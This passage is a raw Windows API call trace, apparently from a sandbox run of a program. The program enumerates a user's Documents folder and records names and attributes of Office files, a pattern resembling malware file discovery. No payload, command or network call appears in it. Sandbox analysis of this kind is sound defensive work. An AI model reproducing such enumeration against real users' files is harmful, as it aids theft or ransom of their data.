ftLastAccessTime.dwHighDateTime=0x1d5b7d2, ftLastWriteTime.dwLowDateTime=0xc2e80b60, ftLastWriteTime.dwHighDateTime=0x1d5b7d2, nFileSizeHigh=0x0, nFileSizeLow=0xedac, dwReserved0=0x0, dwReserved1=0x0, cFileName="yiP3-v.wav", cAlternateFileName="")) returned 1 [0090.585] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1ebdd0, ftCreationTime.dwHighDateTime=0x1d5b94c, ftLastAccessTime.dwLowDateTime=0xc2e80b60, ftLastAccessTime.dwHighDateTime=0x1d5b7d2, ftLastWriteTime.dwLowDateTime=0xc2e80b60, ftLastWriteTime.dwHighDateTime=0x1d5b7d2, nFileSizeHigh=0x0, nFileSizeLow=0xedac, dwReserved0=0x0, dwReserved1=0x0, cFileName="yiP3-v.wav", cAlternateFileName="")) returned 0 [0090.585] GetLastError () returned 0x12 [0090.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.585] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.586] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f36d890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f36d890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0090.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f36d890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f36d890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0090.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.587] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.587] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.587] NtClose (Handle=0x16c) returned 0x0 [0090.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.588] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0090.588] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f36d890, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f36d890, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.589] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5a01dd0, ftCreationTime.dwHighDateTime=0x1d594f2, ftLastAccessTime.dwLowDateTime=0xadb368f0, ftLastAccessTime.dwHighDateTime=0x1d54b0a, ftLastWriteTime.dwLowDateTime=0xadb368f0, ftLastWriteTime.dwHighDateTime=0x1d54b0a, nFileSizeHigh=0x0, nFileSizeLow=0xd0ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="00jKiQB.xlsx", cAlternateFileName="")) returned 1 [0090.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f51f8 [0090.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1438 [0090.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.590] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb425b7d0, ftCreationTime.dwHighDateTime=0x1d5832f, ftLastAccessTime.dwLowDateTime=0xfa52d350, ftLastAccessTime.dwHighDateTime=0x1d59dd3, ftLastWriteTime.dwLowDateTime=0xfa52d350, ftLastWriteTime.dwHighDateTime=0x1d59dd3, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x0, dwReserved1=0x0, cFileName="1tOd0CtK3P.pptx", cAlternateFileName="")) returned 1 [0090.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5218 [0090.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f14c0 [0090.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.592] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbdbf0a0, ftCreationTime.dwHighDateTime=0x1d5a53b, ftLastAccessTime.dwLowDateTime=0xebbea4b0, ftLastAccessTime.dwHighDateTime=0x1d56f0f, ftLastWriteTime.dwLowDateTime=0xebbea4b0, ftLastWriteTime.dwHighDateTime=0x1d56f0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="63-MBy9ssZ.xlsx", cAlternateFileName="")) returned 1 [0090.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5238 [0090.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f13b0 [0090.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.594] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41ccee0, ftCreationTime.dwHighDateTime=0x1d5b8f1, ftLastAccessTime.dwLowDateTime=0xc36084b0, ftLastAccessTime.dwHighDateTime=0x1d552d2, ftLastWriteTime.dwLowDateTime=0xc36084b0, ftLastWriteTime.dwHighDateTime=0x1d552d2, nFileSizeHigh=0x0, nFileSizeLow=0x12537, dwReserved0=0x0, dwReserved1=0x0, cFileName="AO6Kxti.pptx", cAlternateFileName="")) returned 1 [0090.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5258 [0090.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1548 [0090.595] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.595] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5278 [0090.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f15d0 [0090.597] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.597] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf85b0, ftCreationTime.dwHighDateTime=0x1d54713, ftLastAccessTime.dwLowDateTime=0xa3a7b710, ftLastAccessTime.dwHighDateTime=0x1d59f08, ftLastWriteTime.dwLowDateTime=0xa3a7b710, ftLastWriteTime.dwHighDateTime=0x1d59f08, nFileSizeHigh=0x0, nFileSizeLow=0x9a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GxF--cluyJaZxmaHaKzc.pptx", cAlternateFileName="")) returned 1 [0090.597] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0090.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5298 [0090.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d728 [0090.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.599] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd488d130, ftCreationTime.dwHighDateTime=0x1d5b5d7, ftLastAccessTime.dwLowDateTime=0x42f9b130, ftLastAccessTime.dwHighDateTime=0x1d5c3d8, ftLastWriteTime.dwLowDateTime=0x42f9b130, ftLastWriteTime.dwHighDateTime=0x1d5c3d8, nFileSizeHigh=0x0, nFileSizeLow=0x146b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="HgFUl9D.doc", cAlternateFileName="")) returned 1 [0090.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f52b8 [0090.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0090.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x96c0) returned 0x132a698 [0090.601] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36c5290, ftCreationTime.dwHighDateTime=0x1d581fa, ftLastAccessTime.dwLowDateTime=0x54a41310, ftLastAccessTime.dwHighDateTime=0x1d5464e, ftLastWriteTime.dwLowDateTime=0x54a41310, ftLastWriteTime.dwHighDateTime=0x1d5464e, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0x0, dwReserved1=0x0, cFileName="j1VA9i ZWHaH8Mk.docx", cAlternateFileName="")) returned 1 [0090.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f52d8 [0090.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1658 [0090.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.602] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7846aa0, ftCreationTime.dwHighDateTime=0x1d55308, ftLastAccessTime.dwLowDateTime=0xbb9b98a0, ftLastAccessTime.dwHighDateTime=0x1d5a4da, ftLastWriteTime.dwLowDateTime=0xbb9b98a0, ftLastWriteTime.dwHighDateTime=0x1d5a4da, nFileSizeHigh=0x0, nFileSizeLow=0x10647, dwReserved0=0x0, dwReserved1=0x0, cFileName="LcnSiIXp8avMJ.docx", cAlternateFileName="")) returned 1 [0090.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f52f8 [0090.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f16e0 [0090.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.604] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd17b30, ftCreationTime.dwHighDateTime=0x1d5752c, ftLastAccessTime.dwLowDateTime=0x46016f20, ftLastAccessTime.dwHighDateTime=0x1d5516a, ftLastWriteTime.dwLowDateTime=0x46016f20, ftLastWriteTime.dwHighDateTime=0x1d5516a, nFileSizeHigh=0x0, nFileSizeLow=0x149e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcmD6ALe-hREj.docx", cAlternateFileName="")) returned 1 [0090.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5318 [0090.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1768 [0090.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.606] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="")) returned 1 [0090.606] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="")) returned 1 [0090.606] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="")) returned 1 [0090.606] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 1 [0090.606] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205f0270, ftCreationTime.dwHighDateTime=0x1d598f3, ftLastAccessTime.dwLowDateTime=0x4b042b90, ftLastAccessTime.dwHighDateTime=0x1d5438a, ftLastWriteTime.dwLowDateTime=0x4b042b90, ftLastWriteTime.dwHighDateTime=0x1d5438a, nFileSizeHigh=0x0, nFileSizeLow=0x12585, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N3cH.docx", cAlternateFileName="")) returned 1 [0090.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5338 [0090.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f17f0 [0090.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.608] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c03060, ftCreationTime.dwHighDateTime=0x1d55d20, ftLastAccessTime.dwLowDateTime=0x982b9e90, ftLastAccessTime.dwHighDateTime=0x1d551df, ftLastWriteTime.dwLowDateTime=0x982b9e90, ftLastWriteTime.dwHighDateTime=0x1d551df, nFileSizeHigh=0x0, nFileSizeLow=0x6bc5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O4J2ueqz.docx", cAlternateFileName="")) returned 1 [0090.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5358 [0090.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1878 [0090.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.609] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="")) returned 1 [0090.610] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6183d060, ftCreationTime.dwHighDateTime=0x1d59c21, ftLastAccessTime.dwLowDateTime=0xc4b299c0, ftLastAccessTime.dwHighDateTime=0x1d5a6dd, ftLastWriteTime.dwLowDateTime=0xc4b299c0, ftLastWriteTime.dwHighDateTime=0x1d5a6dd, nFileSizeHigh=0x0, nFileSizeLow=0x15a96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qnJp9zSvmKsy2NhnuzjR.pptx", cAlternateFileName="")) returned 1 [0090.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5378 [0090.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d830 [0090.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.611] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8352e5c0, ftCreationTime.dwHighDateTime=0x1d54625, ftLastAccessTime.dwLowDateTime=0xf9d5ce70, ftLastAccessTime.dwHighDateTime=0x1d56749, ftLastWriteTime.dwLowDateTime=0xf9d5ce70, ftLastWriteTime.dwHighDateTime=0x1d56749, nFileSizeHigh=0x0, nFileSizeLow=0x5575, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TV408yQpdC1.xlsx", cAlternateFileName="")) returned 1 [0090.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5398 [0090.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1900 [0090.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 